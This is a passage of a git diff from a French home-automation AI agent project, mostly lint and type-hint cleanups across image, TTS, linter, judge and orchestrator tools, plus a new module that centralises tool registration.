s'ils existent if "unit_of_measurement" in attributes: observations.append(f"Unité : {attributes['unit_of_measurement']}") - + # Ingestion de l'entité graphe await db.upsert_graph_entity_async( name=entity_id, entity_type="HA_Entity", observations=observations ) - + # Ingestion de la relation : m5stack_tab5_v2 -> has_entity -> entity_id db.upsert_graph_relation( from_entity="m5stack_tab5_v2", to_entity=entity_id, relation_type="has_entity" ) - + count += 1 logger.info(f" Ingéré : {entity_id} (état: {state})") - + logger.info(f"Succès : {count} entités et relations ingérées avec succès dans memory.db.") return True diff --git a/tools/imagen.py b/tools/imagen.py index fb7aa4e..e47df52 100644 --- a/tools/imagen.py +++ b/tools/imagen.py @@ -14,10 +14,11 @@ L'API utilise le endpoint `predict` de Vertex AI via clé API (pas OAuth). """ -import os import base64 -import time import logging +import os +import time + import requests logger = logging.getLogger("tools.imagen") @@ -65,21 +66,21 @@ def generate_image( api_key = os.environ.get("GEMINI_PAYANT_API_KEY") or os.environ.get("GEMINI_API_KEY") if not api_key: return "Erreur: Aucune clé API Gemini configurée (GEMINI_API_KEY ou GEMINI_PAYANT_API_KEY)" - + # Résolution du modèle variant = model_variant.lower().strip() model_info = IMAGEN_MODELS.get(variant) if not model_info: return f"Erreur: Variante '{variant}' inconnue. Choisir parmi : {', '.join(IMAGEN_MODELS.keys())}" - + model_name = model_info["model"] - + # Validation du nombre d'images try: num_images = min(4, max(1, int(number_of_images))) except (ValueError, TypeError): num_images = 1 - + # Chemin de sortie par défaut if not output_path: images_dir = os.path.join( @@ -92,10 +93,10 @@ def generate_image( else: # Créer le dossier parent si nécessaire os.makedirs(os.path.dirname(os.path.abspath(output_path)), exist_ok=True) - + # Construction du payload API url = f"https://generativelanguage.googleapis.com/v1beta/models/{model_name}:predict?key={api_key}" - + payload = { "instances": [ {"prompt": prompt} @@ -105,12 +106,12 @@ def generate_image( "aspectRatio": aspect_ratio, } } - + logger.info( f"[Imagen] Génération d'image : modèle={model_name}, " f"ratio={aspect_ratio}, n={num_images}" ) - + try: resp = requests.post( url, @@ -118,43 +119,43 @@ def generate_image( json=payload, timeout=(5.0, 120.0) # 5s connect, 120s read (génération longue) ) - + if resp.status_code != 200: error_text = resp.text[:500] logger.error(f"[Imagen] Erreur HTTP {resp.status_code} : {error_text}") return f"Erreur API Imagen (HTTP {resp.status_code}) : {error_text}" - + data = resp.json() predictions = data.get("predictions", []) - + if not predictions: return "Erreur: L'API n'a retourné aucune image. Le prompt est peut-être bloqué par les filtres de sécurité." - + # Sauvegarder les images générées saved_paths = [] for i, pred in enumerate(predictions): image_b64 = pred.get("bytesBase64Encoded") if not image_b64: continue - + # Déterminer le chemin pour cette image if i == 0: save_path = output_path else: base, ext = os.path.splitext(output_path) save_path = f"{base}_{i+1}{ext}" - + # Décoder et sauvegarder image_bytes = base64.b64decode(image_b64) with open(save_path, "wb") as f: f.write(image_bytes) - + saved_paths.append(save_path) logger.info(f"[Imagen] Image sauvegardée : {save_path} ({len(image_bytes)} bytes)") - + if not saved_paths: return "Erreur: Aucune image n'a pu être décodée depuis la réponse API." - + # Enregistrer le coût dans le token tracker try: from core.token_tracker import record_usage @@ -162,7 +163,7 @@ def generate_image( record_usage(model_name, 0, 0, cost_usd=cost) except Exception: pass - + cost_total = model_info["cost_usd"] * len(saved_paths) paths_str = ", ".join(saved_paths) return ( @@ -170,7 +171,7 @@ def generate_image( f"Fichier(s) : {paths_str}\n" f"Coût estimé : ${cost_total:.3f}" ) - + except requests.exceptions.Timeout: return "Erreur: Timeout lors de la génération d'image (>120s). Réessayez avec le modèle 'fast'." except Exception as e: @@ -196,15 +197,15 @@ def generate_image_base64( api_key = os.environ.get("GEMINI_PAYANT_API_KEY") or os.environ.get("GEMINI_API_KEY") if not api_key: return {"success": False, "error": "Aucune clé API Gemini configurée"} - + variant = model_variant.lower().strip() model_info = IMAGEN_MODELS.get(variant) if not model_info: return {"success": False, "error": f"Variante '{variant}' inconnue"} - + model_name = model_info["model"] url = f"https://generativelanguage.googleapis.com/v1beta/models/{model_name}:predict?key={api_key}" - + payload = { "instances": [{"prompt": prompt}], "parameters": { @@ -212,7 +213,7 @@ def generate_image_base64( "aspectRatio": aspect_ratio, } } - + try: resp = requests.post( url, @@ -220,35 +221,35 @@ def generate_image_base64( json=payload, timeout=(5.0, 120.0) ) - + if resp.status_code != 200: return {"success": False, "error": f"HTTP {resp.status_code}: {resp.text[:300]}"} - + data = resp.json() predictions = data.get("predictions", []) - + images_b64 = [] for pred in predictions: b64 = pred.get("bytesBase64Encoded") if b64: images_b64.append(b64) - + if not images_b64: return {"success": False, "error": "Aucune image retournée (filtres de sécurité ?)"} - + # Enregistrer le coût try: from core.token_tracker import record_usage record_usage(model_name, 0, 0, cost_usd=model_info["cost_usd"]) except Exception: pass - + return { "success": True, "images": images_b64, "model": model_name, "cost_usd": model_info["cost_usd"], } - + except Exception as e: return {"success": False, "error": str(e)} diff --git a/tools/linter.py b/tools/linter.py index 440faa3..cd48bfc 100644 --- a/tools/linter.py +++ b/tools/linter.py @@ -10,11 +10,11 @@ Auteur : Antigravity IDE """ +import logging import os import re import subprocess -import logging -from typing import Dict, Any, List, Tuple, Optional +from typing import Any logger = logging.getLogger("tools.linter") @@ -34,7 +34,7 @@ class ConfigurationLinter: """Classe utilitaire pour linter les fichiers YAML, Jinja2 et ESPHome.""" @staticmethod - def lint_yaml(content: str) -> Tuple[bool, Optional[str], Optional[Dict[str, Any]]]: + def lint_yaml(content: str) -> tuple[bool, str | None, dict[str, Any] | None]: """Valide la syntaxe YAML d'un contenu. Returns: @@ -56,7 +56,7 @@ def lint_yaml(content: str) -> Tuple[bool, Optional[str], Optional[Dict[str, Any return False, error_msg, None @staticmethod - def lint_jinja2_templates(content: str) -> Tuple[bool, List[str]]: + def lint_jinja2_templates(content: str) -> tuple[bool, list[str]]: """Extrait et compile les expressions Jinja2 présentes dans le contenu. Détecte les accolades et expressions {{ ... }} et {% ... %}. @@ -72,14 +72,14 @@ def lint_jinja2_templates(content: str) -> Tuple[bool, List[str]]: # Mode DOTALL pour capturer les templates sur plusieurs lignes pattern = re.compile(r"(\{\{.*?\}\}|\{%.*?%\})", re.DOTALL) matches = pattern.finditer(content) - + env = jinja2.Environment() - + for match in matches: block = match.group(1) # Récupérer le numéro de ligne approximatif du bloc line_num = content[:match.start()].count('\n') + 1 - + try: # Tenter de compiler le bloc Jinja2 à froid env.parse(block) @@ -91,11 +91,11 @@ def lint_jinja2_templates(content: str) -> Tuple[bool, List[str]]: errors.append( f"Ligne {line_num} : Erreur de validation de template '{block.strip()}' -> {e}" ) - + return len(errors) == 0, errors @staticmethod - def lint_esphome_cli(file_path: str) -> Tuple[bool, Optional[str]]: + def lint_esphome_cli(file_path: str) -> tuple[bool, str | None]: """Exécute la commande `esphome config` pour valider une config ESPHome. Returns: @@ -110,7 +110,7 @@ def lint_esphome_cli(file_path: str) -> Tuple[bool, Optional[str]]: # On exécute avec PAGER=cat pour éviter les blocages. env = os.environ.copy() env["PAGER"] = "cat" - + result = subprocess.run( ["esphome", "config", file_path], capture_output=True, @@ -118,14 +118,14 @@ def lint_esphome_cli(file_path: str) -> Tuple[bool, Optional[str]]: env=env, timeout=30.0 ) - + if result.returncode == 0: return True, "La configuration ESPHome est valide." else: # Récupérer stderr et stdout pour donner un maximum de contexte sur l'erreur output = f"Code retour: {result.returncode}\n\nSTDOUT:\n{result.stdout}\n\nSTDERR:\n{result.stderr}" return False, output - + except FileNotFoundError: logger.warning("[LINTER] La commande CLI 'esphome' n'est pas installée sur cette machine. Validation ESPHome sautée.") return True, "Validation ESPHome sautée (commande CLI absente sur cette machine)." @@ -134,7 +134,7 @@ def lint_esphome_cli(file_path: str) -> Tuple[bool, Optional[str]]: except Exception as e: return False, f"Erreur lors de l'exécution de la validation ESPHome : {e}" - def validate_file(self, file_path: str) -> Dict[str, Any]: + def validate_file(self, file_path: str) -> dict[str, Any]: """Méthode principale pour valider un fichier de configuration. Détermine dynamiquement le type de validation à appliquer. @@ -143,12 +143,12 @@ def validate_file(self, file_path: str) -> Dict[str, Any]: return { "valid": False, "file": file_path, - "error": f"Fichier introuvable.", + "error": "Fichier introuvable.", "type": "unknown" } try: - with open(file_path, "r", encoding="utf-8", errors="ignore") as f: + with open(file_path, encoding="utf-8", errors="ignore") as f: content = f.read() except Exception as e: return { diff --git a/tools/llm_as_a_judge.py b/tools/llm_as_a_judge.py index 2eca624..20c8c09 100644 --- a/tools/llm_as_a_judge.py +++ b/tools/llm_as_a_judge.py @@ -1,20 +1,20 @@ -# -*- coding: utf-8 -*- """ tools/llm_as_a_judge.py — Script d'audit automatique des modifications de code par LLM (Gemini 3.5 Flash). """ +import argparse import os -import sys -import json import subprocess -import argparse +import sys + import requests + def load_dotenv(): """Charge le fichier .env s'il existe dans le répertoire parent ou courant.""" for path in [".env", "../.env", "moteur_agents/.env"]: if os.path.exists(path): - with open(path, "r", encoding="utf-8") as f: + with open(path, encoding="utf-8") as f: for line in f: line = line.strip() if not line or line.startswith("#"): @@ -56,7 +56,7 @@ def call_gemini(system_prompt: str, user_prompt: str, api_key: str, model: str) ], "temperature": 0.1 } - + try: response = requests.post(url, headers=headers, json=payload, timeout=120) response.raise_for_status() @@ -118,7 +118,7 @@ def main(): # Charger le .env pour avoir les clés load_dotenv() - + # Récupérer la clé API Gemini api_key = os.environ.get("GEMINI_PAYANT_API_KEY") or os.environ.get("GEMINI_API_KEY") if not api_key: @@ -134,7 +134,7 @@ def main(): sys.exit(1) target_name = f"Fichier: {args.file}" try: - with open(args.file, "r", encoding="utf-8", errors="ignore") as f: + with open(args.file, encoding="utf-8", errors="ignore") as f: source_content = f.read() except Exception as e: print(f"Erreur lors de la lecture du fichier : {e}") @@ -155,17 +155,17 @@ def main(): print(f"Lancement de l'audit pour : {target_name} avec {args.model}...") user_prompt = f"Voici le contenu à analyser ({target_name}) :\n\n```diff\n{source_content}\n```" - + report = call_gemini(SYSTEM_PROMPT, user_prompt, api_key, args.model) - + if not report: print("Erreur : Impossible d'obtenir le rapport de l'API Gemini.") sys.exit(1) - + print("\n" + "="*80) print(report) print("="*80 + "\n") - + # Extraction de la note pour retour de code try: # Cherche le verdict dans le rapport (ex: "Verdict : 8/10") diff --git a/tools/minimax_image.py b/tools/minimax_image.py index b02d856..808bd39 100644 --- a/tools/minimax_image.py +++ b/tools/minimax_image.py @@ -4,11 +4,11 @@ Permet de générer des images de haute qualité et de les sauvegarder localement à partir de descriptions textuelles. """ +import logging import os import time -import logging + import requests -from typing import Optional logger = logging.getLogger("tools.minimax_image") @@ -19,27 +19,27 @@ class MiniMaxImageProvider: img_provider = MiniMaxImageProvider() path = img_provider.generate_image("A futuristic smart home dashboard...") """ - + BASE_URL = "https://api.minimax.io/v1/image_generation" - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): """ Args: api_key: Clé API MiniMax (défaut: MINIMAX_API_KEY du .env) """ self.api_key = api_key or os.environ.get("MINIMAX_API_KEY", "") self.available = bool(self.api_key) - + if not self.available: logger.warning("[MiniMax Image] Aucune clé API configurée dans l'environnement") - + def generate_image( self, prompt: str, - output_path: Optional[str] = None, + output_path: str | None = None, aspect_ratio: str = "1:1", model: str = "image-01" - ) -> Optional[str]: + ) -> str | None: """Génère une image et la sauvegarde en local. Args: @@ -54,46 +54,46 @@ def generate_image( if not self.available: logger.error("[MiniMax Image] Clé API absente. Génération impossible.") return None - + headers = { "Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json" } - + payload = { "model": model, "prompt": prompt, "aspect_ratio": aspect_ratio } - + try: logger.info(f"[MiniMax Image] Envoi de la requête de génération d'image à {self.BASE_URL}") response = requests.post(self.BASE_URL, headers=headers, json=payload, timeout=40.0) - + if response.status_code != 200: logger.error(f"[MiniMax Image] Erreur HTTP {response.status_code}: {response.text}") return None - + res_json = response.json() base_resp = res_json.get("base_resp", {}) if base_resp.get("status_code") != 0: logger.error(f"[MiniMax Image] Erreur API interne: {base_resp.get('status_msg')} (code: {base_resp.get('status_code')})") return None - + image_urls = res_json.get("data", {}).get("image_urls", []) if not image_urls: logger.error("[MiniMax Image] Aucune URL d'image retournée par l'API") return None - + image_url = image_urls[0] logger.info(f"[MiniMax Image] Image générée avec succès. Téléchargement depuis : {image_url}") - + # Téléchargement de l'image binaire image_response = requests.get(image_url, timeout=20.0) if image_response.status_code != 200: logger.error(f"[MiniMax Image] Échec du téléchargement de l'image (HTTP {image_response.status_code})") return None - + # Déterminer le chemin de sortie par défaut if not output_path: images_dir = os.path.join( @@ -105,13 +105,13 @@ def generate_image( output_path = os.path.join(images_dir, f"minimax_{timestamp}.jpg") else: os.makedirs(os.path.dirname(os.path.abspath(output_path)), exist_ok=True) - + with open(output_path, "wb") as f: f.write(image_response.content) - + logger.info(f"[MiniMax Image] ✅ Image sauvegardée avec succès : {output_path} ({len(image_response.content)} octets)") return output_path - + except Exception as e: logger.error(f"[MiniMax Image] Erreur inattendue lors de la génération : {e}") return None @@ -138,7 +138,7 @@ def minimax_image_generate( provider = MiniMaxImageProvider() if not provider.available: return "Erreur : La clé MINIMAX_API_KEY est manquante." - + res = provider.generate_image(prompt=prompt, output_path=output_path or None, aspect_ratio=aspect_ratio) if res: return f"✅ Image MiniMax générée avec succès dans : {res}" diff --git a/tools/minimax_tts.py b/tools/minimax_tts.py index 0f5948c..5c3c558 100644 --- a/tools/minimax_tts.py +++ b/tools/minimax_tts.py @@ -15,10 +15,10 @@ - male-qingnian (Jeune homme / Dynamique) """ -import os import logging +import os + import requests -from typing import Optional logger = logging.getLogger("tools.minimax_tts") @@ -29,31 +29,31 @@ class MiniMaxTTSProvider: tts = MiniMaxTTSProvider() audio_path = tts.synthesize("Bonjour, j'adore ma maison connectée !", voice_id="female-yujie") """ - + BASE_URL = "https://api.minimax.io/v1/t2a_v2" - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): """ Args: api_key: Clé API MiniMax (défaut: MINIMAX_API_KEY du .env) """ self.api_key = api_key or os.environ.get("MINIMAX_API_KEY", "") self.available = bool(self.api_key) - + if not self.available: logger.warning("[MiniMax TTS] Aucune clé API configurée dans l'environnement") - + def synthesize( self, text: str, voice_id: str = "female-shaonv", - output_path: Optional[str] = None, + output_path: str | None = None, model: str = "speech-02-hd", speed: float = 1.0, volume: float = 1.0, pitch: int = 0, sample_rate: int = 32000 - ) -> Optional[str]: + ) -> str | None: """Synthétise du texte en un fichier audio MP3. Args: @@ -72,12 +72,12 @@ def synthesize( if not self.available: logger.error("[MiniMax TTS] Clé API absente. Synthèse impossible.") return None - + headers = { "Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json" } - + payload = { "model": model, "text": text, @@ -92,40 +92,40 @@ def synthesize( "sample_rate": sample_rate } } - + try: logger.info(f"[MiniMax TTS] Requête de synthèse ({model}) pour {len(text)} caractères (voix: {voice_id})") response = requests.post(self.BASE_URL, headers=headers, json=payload, timeout=20.0) - + if response.status_code != 200: logger.error(f"[MiniMax TTS] Erreur API HTTP {response.status_code}: {response.text}") return None - + res_json = response.json() base_resp = res_json.get("base_resp", {}) if base_resp.get("status_code") != 0: logger.error(f"[MiniMax TTS] Erreur interne API: {base_resp.get('status_msg')} (code: {base_resp.get('status_code')})") return None - + hex_audio = res_json.get("data", {}).get("audio", "") if not hex_audio: logger.error("[MiniMax TTS] Aucun flux audio retourné par l'API") return None - + # Décodage des données hexadécimales en binaire audio_bytes = bytes.fromhex(hex_audio) - + # Définir le chemin de sortie par défaut dans le dossier temp si non spécifié if not output_path: import tempfile output_path = os.path.join(tempfile.gettempdir(), f"minimax_tts_{voice_id}.mp3") - + with open(output_path, "wb") as f: f.write(audio_bytes) - + logger.info(f"[MiniMax TTS] ✅ Audio MP3 généré avec succès : {output_path} ({len(audio_bytes)} octets)") return output_path - + except Exception as e: logger.error(f"[MiniMax TTS] Erreur inattendue durant la synthèse : {e}") return None @@ -153,7 +153,7 @@ def minimax_tts_synthesize( provider = MiniMaxTTSProvider() if not provider.available: return "Erreur : La clé MINIMAX_API_KEY est manquante dans les variables d'environnement." - + res = provider.synthesize(text=text, voice_id=voice_id, output_path=output_path or None) if res: return f"✅ Audio MiniMax généré avec succès dans : {res}" diff --git a/tools/night_orchestrator.py b/tools/night_orchestrator.py index d1a7920..84652e9 100644 --- a/tools/night_orchestrator.py +++ b/tools/night_orchestrator.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tools/night_orchestrator.py — Chef d'orchestre du run de nuit (Audit + Refactoring + Batch). @@ -14,14 +13,15 @@ python tools/night_orchestrator.py """ +import json import os +import subprocess import sys -import json import time -import subprocess -import requests from pathlib import Path +import requests + PROJECT = "ha-delta" LOCATION_BATCH = "europe-west1" LOCATION_ONLINE = "global" @@ -58,10 +58,10 @@ def setup_git_branch(): print("\n--- Étape 1 : Préparation Git ---") ts = time.strftime("%Y%m%d-%H%M%S") branch_name = f"night-run-{ts}" - + # Vérifier l'état actuel run_cmd(["git", "status"]) - + # Créer et basculer sur la nouvelle branche run_cmd(["git", "checkout", "-b", branch_name]) print(f"✅ Branche active créée : {branch_name}") @@ -88,7 +88,7 @@ def call_vertex_refactor(file_path, finding, rules_context, access_token): return f"Fichier {os.path.basename(file_path)} introuvable" try: - with open(file_path, "r", encoding="utf-8") as f: + with open(file_path, encoding="utf-8") as f: original_code = f.read() except Exception as e: return f"Erreur de lecture : {e}" @@ -173,7 +173,7 @@ def call_vertex_refactor(file_path, finding, rules_context, access_token): def main(): print("=== DÉMARRAGE DU RUN DE NUIT ===") branch_name = setup_git_branch() - + rules_context = load_contexte_rules() access_token = refresh_oauth() if not access_token: @@ -220,10 +220,10 @@ def main(): f = t["file"] desc = t["finding"].split(" : ")[0] print(f"Traitement de {f} ({desc})...") - + # Appel de refactoring res = call_vertex_refactor(f, t["finding"], rules_context, access_token) - + status_label = "✅ Réussi" if res == "SUCCESS" else f"❌ Échoué : {res}" report_lines.append(f"| `{f}` | `{t['finding'][:80]}...` | {status_label} |") print(f" Résultat : {status_label}") @@ -234,34 +234,34 @@ def main(): report_lines.append("\n## 2. Jobs Batch soumis sur Vertex AI") report_lines.append("| Dataset source | Modèle | Job ID | Statut |") report_lines.append("|---|---|---|---|") - + # Nous allons soumettre dataset_moteur_clean.jsonl pour notation dataset_file = "dataset_moteur_clean.jsonl" batch_req_file = "batch_score_moteur_night.jsonl" - + if os.path.exists(dataset_file): try: print(f" Build du fichier de requêtes batch pour {dataset_file}...") # 1) Build local - run_cmd([sys.executable, "tools/vertex_dataset_factory.py", "build", "--task", "score", + run_cmd([sys.executable, "tools/vertex_dataset_factory.py", "build", "--task", "score", "--dataset", dataset_file, "--out", batch_req_file]) - + # 2) Submit Vertex print(" Soumission du job batch à Vertex...") - submit_res = run_cmd([sys.executable, "tools/vertex_dataset_factory.py", "submit", - "--input", batch_req_file, - "--bucket", "gs://ha-delta-corpus-axell", - "--project", PROJECT, - "--location", LOCATION_BATCH, + submit_res = run_cmd([sys.executable, "tools/vertex_dataset_factory.py", "submit", + "--input", batch_req_file, + "--bucket", "gs://ha-delta-corpus-axell", + "--project", PROJECT, + "--location", LOCATION_BATCH, "--model", "gemini-2.5-pro"]) - + # Tenter d'extraire le job ID de la sortie job_name = "Non déterminé (voir log)" for line in submit_res.stdout.splitlines(): if "Job créé :" in line: job_name = line.split("Job créé :")[-1].strip() break - + report_lines.append(f"| `{dataset_file}` | `gemini-2.5-pro` | `{job_name}` | Soumis avec succès ✅ |") print(f" ✅ Job batch Vertex soumis : {job_name}") except Exception as e: @@ -274,27 +274,27 @@ def main(): # Étape 5 : Lancer l'audit de 00ProjetTab (Tab5) print("\n--- Étape 5 : Audit long-contexte de 00ProjetTab ---") report_lines.append("\n## 3. Audits long-contexte de nuit") - + tab5_dir = r"e:\AuxFilsDesIdees\00ProjetTab" audit_out = r"docs\audits\audit_tab5_de_nuit.md" - + if os.path.exists(tab5_dir): try: print(" Lancement de l'audit long-contexte du Tab5...") # L'audit de Tab5 concatène le répertoire - audit_res = run_cmd([sys.executable, "tools/vertex_audit.py", - "--src", tab5_dir, - "--prompt", "docs/prompts/ANALYSE_ULTIME_TAB5.md", - "--out", audit_out, - "--project", PROJECT, - "--location", LOCATION_ONLINE, + audit_res = run_cmd([sys.executable, "tools/vertex_audit.py", + "--src", tab5_dir, + "--prompt", "docs/prompts/ANALYSE_ULTIME_TAB5.md", + "--out", audit_out, + "--project", PROJECT, + "--location", LOCATION_ONLINE, "--model", "gemini-3.1-pro-preview"]) - + if audit_res.returncode == 0: report_lines.append(f" - **Audit Tab5** : Écrit dans `{audit_out}` ✅") print(f" ✅ Audit Tab5 terminé : {audit_out}") else: - report_lines.append(f" - **Audit Tab5** : Échec (voir logs) ❌") + report_lines.append(" - **Audit Tab5** : Échec (voir logs) ❌") print(" ❌ Échec de l'audit Tab5.") except Exception as e: report_lines.append(f" - **Audit Tab5** : Erreur {e} ❌") @@ -307,7 +307,7 @@ def main(): report_dir = Path("docs/reports") report_dir.mkdir(parents=True, exist_ok=True) report_path = report_dir / f"night_run_report_{time.strftime('%Y%d%m_%H%M%S')}.md" - + report_lines.append("\n## 4. Consignes pour le lendemain matin") report_lines.append("1. Vérifier les diffs sur la branche de nuit : `git diff master`.") report_lines.append("2. Lancer les tests unitaires : `pytest`.") @@ -316,7 +316,7 @@ def main(): report_path.write_text("\n".join(report_lines), encoding="utf-8") print(f"\n✅ Rapport de nuit rédigé : {report_path}") - + # Revenir sur master ou sauvegarder l'état print("\nRun de nuit configuré et lancé. Le reste tourne sur le Cloud Google.") return 0 diff --git a/tools/registry_setup.py b/tools/registry_setup.py new file mode 100644 index 0000000..618104a --- /dev/null +++ b/tools/registry_setup.py @@ -0,0 +1,115 @@ +""" +tools/registry_setup.py — Enregistrement factorisé des outils du moteur (#T213). + +Avant ce module, l'enregistrement des outils était dupliqué et DIVERGENT entre +les 3 sites d'assemblage : +- core/factory.py (riche : base + git safety + Workspace + Cloud + Imagen + RAG) +- services/pipeline_service.py (chemin HTTP principal : base + git seulement) +- core/mcp_tools/orchestrator.py (serveur MCP : base seulement, sans git safety) + +Chaque site appelle désormais les mêmes fonctions ; les différences restantes +sont des choix explicites (paramètres), plus des oublis silencieux. Le RAG +reste enregistré par l'appelant qui possède l'instance RAGEngine (factory). +""" + +import logging + +from tools.tool_registry import ToolRegistry + +logger = logging.getLogger(__name__) + + +def register_base_tools(registry: ToolRegistry, git_safety: bool = True) -> None: + """ + Enregistre les 6 outils de base de l'ExecutorAgent + (option) Git Safety. + + Args: + registry: ToolRegistry cible. + git_safety: Enregistre les checkpoints Git (désactivable pour les + sessions de test légères, cf. create_engine). + """ + from tools.api import call_api + from tools.system import read_file, validate_config_yaml, write_file + from tools.terminal import run_terminal_command + from tools.testing import run_tests + + registry.register("read_file", read_file, "Lit le contenu d'un fichier texte local.") + registry.register("write_file", write_file, "Crée ou modifie un fichier texte local.") + registry.register("run_terminal_command", run_terminal_command, "Exécute une commande système sur la machine hôte.") + registry.register("call_api", call_api, "Effectue une requête HTTP (GET/POST) vers une API distante.") + registry.register("validate_config_yaml", validate_config_yaml, "Valide la syntaxe et les dépendances d'un fichier YAML ESPHome.") + registry.register("run_tests", run_tests, "Lance pytest sur un fichier ou dossier de tests et renvoie le résultat. Args: test_path (défaut 'tests/').") + + if git_safety: + try: + from tools.git_safety import git_apply_checkpoint, git_create_checkpoint, git_rollback_checkpoint + registry.register("git_create_checkpoint", git_create_checkpoint, "Crée un checkpoint de sécurité Git.") + registry.register("git_rollback_checkpoint", git_rollback_checkpoint, "Annule les modifications de l'agent via Git (rollback).") + registry.register("git_apply_checkpoint", git_apply_checkpoint, "Valide le checkpoint Git en fusionnant les modifications.") + logger.info("[REGISTRY_SETUP] Outils Git Safety enregistrés.") + except ImportError as e: + logger.warning(f"[REGISTRY_SETUP] Outils Git Safety non disponibles : {e}") + + +def register_extended_tools(registry: ToolRegistry) -> None: + """ + Enregistre les familles d'outils étendues : Google Workspace (Calendar, + Drive, Gmail, Sheets, Tasks, YouTube, Contacts), Cloud APIs (TTS, + Translation, Vision, STT) et Imagen 4. + + Chaque famille est optionnelle (try/except ImportError) : un environnement + sans les dépendances Google fonctionne sans ces outils, avec un warning. + """ + # [P5+P9] Outils Google Workspace (Calendar + Drive) + try: + from tools.google_workspace import get_calendar_events, list_calendars, list_drive_files, read_drive_file + registry.register("get_calendar_events", get_calendar_events, "Récupère les prochains événements d'un calendrier Google. Args: calendar_id (défaut 'primary'), max_results (défaut '10').") + registry.register("list_calendars", list_calendars, "Liste tous les calendriers Google accessibles avec leurs IDs.") + registry.register("list_drive_files", list_drive_files, "Liste les fichiers récents de Google Drive avec leurs noms, types et tailles. Args: max_results (défaut '20').") + registry.register("read_drive_file", read_drive_file, "Lit le contenu textuel d'un fichier Google Drive. Args: file_id (identifiant du fichier obtenu via list_drive_files).") + logger.info("[REGISTRY_SETUP] Outils Google Calendar + Drive enregistrés.") + except ImportError as e: + logger.warning(f"[REGISTRY_SETUP] Outils Workspace Calendar/Drive non disponibles : {e}") + + # [Phase 2] Outils Gmail, Sheets, Tasks, YouTube, Contacts + try: + from tools.google_workspace import get_contacts, get_tasks, read_spreadsheet, search_gmail, search_youtube + registry.register("search_gmail", search_gmail, "Recherche dans les emails Gmail. Syntaxe Gmail : 'from:X', 'subject:Y', 'is:unread'. Args: query, max_results (défaut '5').") + registry.register("read_spreadsheet", read_spreadsheet, "Lit les données d'un Google Spreadsheet. Args: spreadsheet_id, range_notation (défaut 'Sheet1').") + registry.register("get_tasks", get_tasks, "Récupère les tâches Google Tasks en cours. Args: task_list_name (défaut '@default').") + registry.register("search_youtube", search_youtube, "Recherche des vidéos YouTube. Args: query, max_results (défaut '5').") + registry.register("get_contacts", get_contacts, "Récupère les contacts Google (nom, email, téléphone). Args: max_results (défaut '10').") + logger.info("[REGISTRY_SETUP] Outils Workspace Phase 2 enregistrés (Gmail, Sheets, Tasks, YouTube, Contacts).") + except ImportError as e: + logger.warning(f"[REGISTRY_SETUP] Outils Workspace Phase 2 non disponibles : {e}") + + # [Phase 3] Outils Cloud TTS, Translation, Vision, STT + try: + from tools.cloud_stt import transcribe_audio + from tools.cloud_translate import translate_text + from tools.cloud_tts import cloud_tts_synthesize + from tools.cloud_vision import analyze_image + registry.register("cloud_tts", cloud_tts_synthesize, "Synthèse vocale premium (Neural2/WaveNet). Args: text, voice, language (défaut 'fr-FR').") + registry.register("translate_text", translate_text, "Traduit du texte via Cloud Translation. Args: text, target_lang (défaut 'fr'), source_lang (auto-détection).") + registry.register("analyze_image", analyze_image, "Analyse une image (labels, texte OCR, objets). Args: image_path (chemin local).") + registry.register("transcribe_audio", transcribe_audio, "Transcrit un fichier audio en texte. Args: audio_path, language (défaut 'fr-FR').") + logger.info("[REGISTRY_SETUP] Outils Cloud APIs Phase 3 enregistrés (TTS, Translate, Vision, STT).") + except ImportError as e: + logger.warning(f"[REGISTRY_SETUP] Outils Cloud APIs Phase 3 non disponibles : {e}") + + # [P6] Outil de génération d'images Imagen 4 + try: + from tools.imagen import generate_image + registry.register("generate_image", generate_image, "Génère une image via Google Imagen 4. Args: prompt, output_path (optionnel), model_variant ('fast'/'standard'/'ultra'), aspect_ratio ('1:1'/'16:9'/etc).") + logger.info("[REGISTRY_SETUP] Outil Imagen 4 enregistré.") + except ImportError as e: + logger.warning(f"[REGISTRY_SETUP] Outil Imagen non disponible : {e}") + + +def register_rag_tool(registry: ToolRegistry, rag_engine) -> None: + """Enregistre l'outil RAG Pull sur une instance RAGEngine fournie par l'appelant.""" + registry.register( + "query_technical_knowledge", + lambda query, top_n=3: rag_engine.query(query, top_n=top_n), + "Interroge la base de connaissances sémantique locale (RAG) sur la domotique, le matériel (Tab5, ESPHome, LVGL) et le tab5-engine. Args: query (requête de recherche), top_n (nombre de résultats souhaités, défaut 3)." + ) diff --git a/tools/sandbox.py b/tools/sandbox.py index 8e94034..b398f60 100644 --- a/tools/sandbox.py +++ b/tools/sandbox.py @@ -6,10 +6,10 @@ Les écritures sont mises en file d'attente et exécutées seulement après validation. """ -import os -import logging import difflib -from typing import Any, Dict, List +import logging +import os +from typing import Any logger = logging.getLogger(__name__) @@ -24,10 +24,10 @@ class SandboxWrapper: En mode normal : passe-plat transparent vers le ToolRegistry d'origine. """ - + # Outils considérés comme destructeurs (modifient l'état du filesystem) DESTRUCTIVE_TOOLS = {"write_file", "run_terminal_command"} - + def __init__(self, tool_registry, dry_run: bool = False): """ Initialise le wrapper sandbox. @@ -39,19 +39,20 @@ def __init__(self, tool_registry, dry_run: bool = False): self.registry = tool_registry self.dry_run = dry_run # File d'attente des écritures en attente de validation - self._pending_writes: List[Dict[str, Any]] = [] + self._pending_writes: list[dict[str, Any]] = [] # Historique des commandes bloquées - self._blocked_commands: List[str] = [] + self._blocked_commands: list[str] = [] # Compteur de diffs générés pour cette session self._diff_count: int = 0 - - async def execute(self, func_name: str, kwargs: Dict[str, Any]) -> Any: + + async def execute(self, func_name: str, kwargs: dict[str, Any], agent_name: str = None) -> Any: """ Point d'entrée principal. Intercepte les outils destructeurs en mode dry_run. Args: func_name: Nom de la fonction/outil à exécuter kwargs: Arguments de l'outil + agent_name: [#T233] Nom de l'agent appelant (permissions, cf. registre) Returns: Résultat de l'outil (ou diff preview en mode dry_run) @@ -61,11 +62,11 @@ async def execute(self, func_name: str, kwargs: Dict[str, Any]) -> Any: return self._generate_diff_preview(kwargs) elif func_name == "run_terminal_command": return self._block_command(kwargs) - + # Mode normal ou outil non destructeur : exécution directe - return await self.registry.execute(func_name, kwargs) - - def _generate_diff_preview(self, kwargs: Dict[str, Any]) -> str: + return await self.registry.execute(func_name, kwargs, 